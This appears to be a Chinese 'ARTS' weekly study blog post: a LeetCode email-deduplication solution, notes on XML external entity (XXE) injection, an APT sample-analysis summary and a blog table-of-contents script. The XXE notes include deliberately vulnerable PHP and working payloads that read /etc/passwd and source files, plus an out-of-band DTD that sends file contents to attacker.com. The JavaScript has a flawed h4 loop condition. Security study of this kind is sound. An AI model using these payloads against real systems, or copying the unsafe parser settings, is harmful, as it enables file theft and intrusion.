【ARTS】01_02_左耳聽風-20181119~1125
Algorithm
做一個 leetcode 的演算法題
Unique Email Addresses
1)problem
929. Unique Email Addresses
Every email consists of a local name and a domain name, separated by the @ sign.
For example, in [email protected], alice is the local name, and leetcode.com is the domain name.
Besides lowercase letters, these emails may contain '.'s or '+'s.
If you add periods ('.') between some characters in the local name part of an email address, mail sent there will be forwarded to the same address without dots in the local name. For example, " [email protected]" and "[email protected]" forward to the same email address. (Note that this rule does not apply for domain names.)
If you add a plus ('+') in the local name, everything after the first plus sign will be ignored. This allows certain emails to be filtered, for example [email protected] will be forwarded to [email protected] (Again, this rule does not apply for domain names.)
It is possible to use both of these rules at the same time.
Given a list of emails, we send one email to each address in the list. How many different addresses actually receive mails?
Example 1:
Input: [" [email protected]","[email protected]","[email protected]"]
Output: 2
Explanation: "[email protected]" and "[email protected]" actually receive mails
Note:
1 <= emails[i].length <= 100
1 <= emails.length <= 100
Each emails[i] contains exactly one '@' character.
2)answer
試題是希望過濾每個郵件中的【.】符號,忽略第一個【+】後面的所有內容。
在網上搜索到用Python的題解:
class Solution(object):
def numUniqueEmails(self, emails):
unique_emails = set()
for email in emails:
local_name, domain_name = email.split('@')
local_name = local_name.replace('.', '')
local_name = local_name.split('+')[0]
modified_email = local_name + '@' + domain_name
unique_emails.add(modified_email)
return len(unique_emails)
設定一個集合變數,先是提取出郵件名與域名,然後過濾掉所有的【.】號。選擇所有加號前的第一個索引值,然後把郵件名和域名合併在一起加入集合變數裡。返回集合變數的數值就是實際傳送數量。
3)solution
用C++做起來要複雜一點。
- 1、提取【@】符號前面的內容,得到郵件名
- 2、替換掉所有【.】符號,得到實際郵件名
- 3、提取出【+】符號前的內容,得到傳送的郵件名
- 4、將郵件名與域名合併成實際傳送的郵件地址
#include "pch.h"
#include <stdio.h>
#include <string>
#include <vector>
#include <set>
#include <iostream>
#include <algorithm>
using std::string;
using std::vector;
using std::set;
class Solution {
public:
int numUniqueEmails(vector<string>& emails) {
//集合中包含的元素值是唯一的。
set<string> email_sets;
for (string email : emails)
{
// 提取郵件名
int pos = email.find('@');
string local_name = email.substr(0, pos);
// 過濾掉【.】符號
// remove:從給定範圍中消除指定值,而不影響剩餘元素的順序,並返回不包含指定值的新範圍的末尾。
// 從string中刪除所有某個特定字元
local_name.erase(std::remove(local_name.begin(), local_name.end(), '.'), local_name.end());
// 提取【+】符號前的字元
pos = local_name.find('+');
local_name = local_name.substr(0, pos);
// 提取【@】後的域名
pos = email.find('@');
string domain_name = email.substr(pos + 1);
// 合併實際傳送的郵件名稱
email = local_name + '@' + domain_name;
// 寫進集合中
email_sets.insert(email);
}
// 返回集合大小
return email_sets.size();
}
};
int main()
{
//vector初始化字串
vector<string> emails;
emails.push_back("[email protected]");
emails.push_back("[email protected]");
emails.push_back("[email protected]");
// 使用內容
Solution nSolution;
nSolution.numUniqueEmails(emails);
}
Review
【WEB安全】XML外部實體注入-解釋與利用
https://www.exploit-db.com/docs/english/45374-xml-external-entity-injection---explanation-and-exploitation.pdf
1)場景
測試XXE外部實體注入漏洞
2)問題難點
什麼是XML?
XML怎麼利用?
哪裡產生的問題?
3)解決問題的方法
XML外部實體攻擊是對解析XML輸入的應用程式的一種攻擊。當XML輸入引用外部實體由弱配置的XML解析器處理時,會發生此攻擊。
簡單的利用方法
<!DOCTYPE Message[
<!ENTITY msg SYSTEM '/etc/hostname'>
]>
<Message>&msg;</Message>
- simplexml_import_dom
4)方法細節
POST漏洞原始碼
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$info = simplexml_import_dom($dom);
$name = $info->name;
$password = $info->password;
echo "Sorry, this $name not available!";
?>
- 讀取檔案
讀取passwd檔案
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE r [
<!ELEMENT r ANY>
<!ENTITY sp SYSTEM "file:///etc/passwd">
]>
<root><name>&sp;</name><password>admin</password></root>
讀取php檔案
藉助PHP包裝器來讀取檔案並將其內容編碼成base64。
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE r [
<!ELEMENT r ANY>
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
]>
<root><name>&sp;</name><password>admin</password></root>
- 其他的幾種測試形式
GET引數形式
<?php
if ( isset( $_GET['name'] ) ) {
libxml_use_internal_errors( true );
libxml_disable_entity_loader( false );
$xml = '<?xml version="1.0" encoding="UTF-8" standalone="no" ?>' . $_GET['name'];
$parsed = simplexml_load_string( $xml, 'SimpleXMLElement', LIBXML_NOENT );
if ( !$parsed ) {
foreach( libxml_get_errors() as $error )
echo $error->message . "\n";
} else {
echo 'Hello ' . $parsed . "\n";
}
}
?>
提交:
http://localhost/xxe.php?name=<!DOCTYPE r [<!ELEMENT r ANY><!ENTITY sp SYSTEM "file:///etc/passwd">]><name>&sp;</name>
JSON
在某些情況下,輸入在傳送之前會被編碼為JSON。在這種情況下,我們可以提供外部實體來觸發我們想要讀取的檔案
提交:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE r [
<!ELEMENT r ANY>
<!ENTITY sp SYSTEM "file:///etc/passwd">
]>
<root><name>&sp;</name><password>admin</password></root>
上傳XML
XXE利用的另一個例子是上傳和解析XML檔案。
漏洞程式碼
<?php
if(isset($_POST["submit"])) {
$target_file = getcwd()."/upload/".md5($_FILES["file"]["tmp_name"]);
if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
try {
$result = @file_get_contents("zip://".$target_file."#docProps/core.xml");
$xml = new SimpleXMLElement($result, LIBXML_NOENT);
$xml->registerXPathNamespace("dc", "http://purl.org/dc/elements/1.1/");
foreach($xml->xpath('//dc:title') as $title){
echo "Title '".$title . "' has been added.<br/>";
}
} catch (Exception $e){
echo "The file you uploaded is not a valid xml or docx file.";
}
} else {
echo "Sorry, there was an error uploading your file.";
}
}
埠掃描
通過返回時間的長短判斷埠是否開啟。
OUT OF BAND OOB
- Request
POST http://example.com/xml HTTP/1.1
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///etc/lsb-release">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<data>&send;</data>
attacker.com/evil.dtd
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?collect=%file;'>">
%all;
5)總結
彌補知識短板
http://www.17bdw.com/Web_Security/05xxe/
RESOURCES
1. https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
2. http://xml.silmaril.ie/whatisxml.html
3. https://www.w3schools.com/xml/xml_tree.asp
4. https://github.com/joernchen/xxeserve
5. http://4.bp.blogspot.com/-
FBSO5Sdrmus/U_SBRi_I_oI/AAAAAAAAAJ8/W6M9x_K9LOI/s1600/XXEA.png
6. https://blogs.sans.org/pen-testing/files/2017/12/xxe1.png
7. https://krbtgt.pw/content/images/2018/03/7.PNG
Tip
【APT分析】疑似"摩訶草"組織最新樣本分析及域名資產揭露
1)場景
摩訶草組織(APT-C-09),又稱HangOver、Patchwork、Dropping Elephant以及白象。該組織歸屬南亞某國,主要針對中國、巴基斯坦等亞洲國家和地區進行網路間諜活動,也逐漸將滲透目標蔓延至歐洲和中東等地。
https://www.anquanke.com/post/id/160869#h2-0
2)問題難點
1、惡意程式碼分析提取出的哪些行為資訊有助於分析組織的行為?
2、用什麼工具進行分析判斷通過樣本自身的資訊跟現有樣本庫關聯分析判斷為同一個組織?
3、如何防禦?
3)解決思路
1、解密字串中的key值、網路引數、惡意樣本的關鍵流程(自啟動位置、檔案行為)
2、
1)使用Bindiff對比發現兩者程式碼相似度
2)真名,郵箱地址,電話號碼,域名,使用者名稱和真人位置在公網的搜尋途徑,判斷多個樣本是否為同一個人進行投放
3、目前防禦的形式主要還是通過網路層IP的阻斷或主機的查殺,資訊來源自IOCS對應的域名、IP、檔案資訊
4)方法細節(使用已有資訊通過搜尋引擎搜尋惡意樣本資訊溯源作者的技巧)
1)提取行為
2)使用已有資訊通過搜尋引擎搜尋惡意樣本的資訊
關於搜尋引擎在開源情報搜尋方面的小tips,以及真名,郵箱地址,電話號碼,域名,使用者名稱和真人位置在公網的搜尋途徑以及技巧關於搜尋引擎在開源情報搜尋方面的小tips,以及真名,郵箱地址,電話號碼,域名,使用者名稱和真人位置在公網的搜尋途徑以及技巧
User Name
Location
Telephone
Email Address
Domain Name
Real Name
- 3)阻斷IOC
5)總結
提取行為、關聯分析(多樣本關聯、多資訊關聯)
Share
【MISC】部落格園生成目錄JavaScript
1)場景
部落格園開啟自定義JS許可權,自己diy js程式碼實現顯示目錄
2)問題難點
前人已經使用jquery的程式碼寫好了提取h2、h3標籤的程式碼顯示出二級、三級標題,還沒有寫顯示h4標題的程式碼。h1作為一級標題字型太大了,我不喜歡。
3)解決思路
程式碼寫註釋,理解前人程式碼思路。然後按照思路寫出顯示四級標題的js程式碼。
4)方法細節
<script language="javascript" type="text/javascript">
// 生成目錄索引列表
// ref: http://www.cnblogs.com/wangqiguo/p/4355032.html
// modified by: zzq
// modified by: 17bdw 2018.11.21
function GenerateContentList()
{
var mainContent = $('#cnblogs_post_body');
//如果你的章節標題不是h2,只需要將這裡的h2換掉即可
var h2_list = $('#cnblogs_post_body h2');
// 如果文章內容長度為空就返回
if(mainContent.length < 1)
return;
// 如果發現有h2標籤,就進入判斷
if(h2_list.length>0)
{
//設定目錄前半部分
var content = '<a name="_labelTop"></a>';
content += '<div id="navCategory" style="color:#152e97;">';
content += '<p style="font-size:18px;"><b>閱覽目錄</b></p>';
content += '<ul>';
// 設定目錄列表內容
for(var i=0; i<h2_list.length; i++)
{
// 二級標題處理
var go_to_top = '<div style="text-align: right;"><a href="#_labelTop" style="color:#f68a33">回到頂部</a><a name="_label' + i + '"></a></div>';
// 在被選元素前插入指定的內容。
$(h2_list[i]).before(go_to_top);
// 三級標題處理
// 查詢h2後面的h3元素
var h3_list = $(h2_list[i]).nextAll("h3");
var li3_content = '';
for(var j=0; j<h3_list.length; j++)
{
// 定位最後一個 h3 之前的所有h2,first將匹配元素集合縮減為集合中的第一個元素。
var tmp = $(h3_list[j]).prevAll('h2').first();
// 如果不是二級標題(h2)下的三級標題(h3)就跳出迴圈
if(!tmp.is(h2_list[i]))
break;
var li3_anchor = '<a name="_label' + i + '_' + j + '"></a>';
$(h3_list[j]).before(li3_anchor);
li3_content += '<li style="margin-bottom: 0;"><a href="#_label' + i + '_' + j + '">' + $(h3_list[j]).text() + '</a>';
// 除錯三級標題
//console.log($(h3_list[j]).text());
// 四級標題處理
var h4_list = $(h2_list[i]).nextAll("h4");
var li4_content = '';
for(var h4_nNum=0; j<h4_list.length; h4_nNum++)
{
// 定位最後一個 h4 之前的所有h3,first將匹配元素集合縮減為集合中的第一個元素。
var h3_tmp = $(h4_list[h4_nNum]).prevAll('h3').first();
// 如果不是三級標題(h3)下的四級標題(h4)就跳出迴圈
if(!h3_tmp.is(h3_list[j]))
break;
var li4_anchor = '<a name="_label' + i + '_' + j + '_' + h4_nNum + '"></a>';
$(h4_list[h4_nNum]).before(li4_anchor);
li4_content += '<li style="margin-bottom: 0;"><a href="#_label' + i + '_' + j + '_' + h4_nNum + '">' + $(h4_list[h4_nNum]).text() + '</a></li>';
// 除錯四級標題
//console.log($(h4_list[h4_nNum]).text());
}
// 四級標題的處理
if(li4_content.length > 0)
li3_content += '<ul>' + li4_content + '</ul></li>';
}
// 二級三級標題的處理
var li2_content = '';
// 如果有三級標題就新增三級標題,否則就只新增二級標題
if(li3_content.length > 0)
li2_content = '<li style="margin-bottom: 0;"><a href="#_label' + i + '">' + $(h2_list[i]).text() + '</a><ul>' + li3_content + '</ul></li>';
else
li2_content = '<li style="margin-bottom: 0;"><a href="#_label' + i + '">' + $(h2_list[i]).text() + '</a></li>';
content += li2_content;
}
content += '</ul>';
content += '</div><p> </p>';
content += '<hr style="height:1px;border:none;border-top:1px dashed #0066CC;"/>';
if($('#cnblogs_post_body').length != 0 )
{
$($('#cnblogs_post_body')[0]).prepend(content);
}
}
}
GenerateContentList();
</script>
5)總結
二級標題處理:獲取指定標籤,然後在內容前插入【回到頂部】。
三級標題處理:查詢h2後面的h3元素,定位最後一個 h3 之前的h2,first將匹配元素集合縮減為集合中的第一個元素。分出每個三級標題是屬於哪個二級標題的內容。
四級標題處理:查詢h3後面的h4元素,定位最後一個 h4 之前的h3,first將匹配元素集合縮減為集合中的第一個元素。分出每個四級標題是屬於哪個三級標題的內容。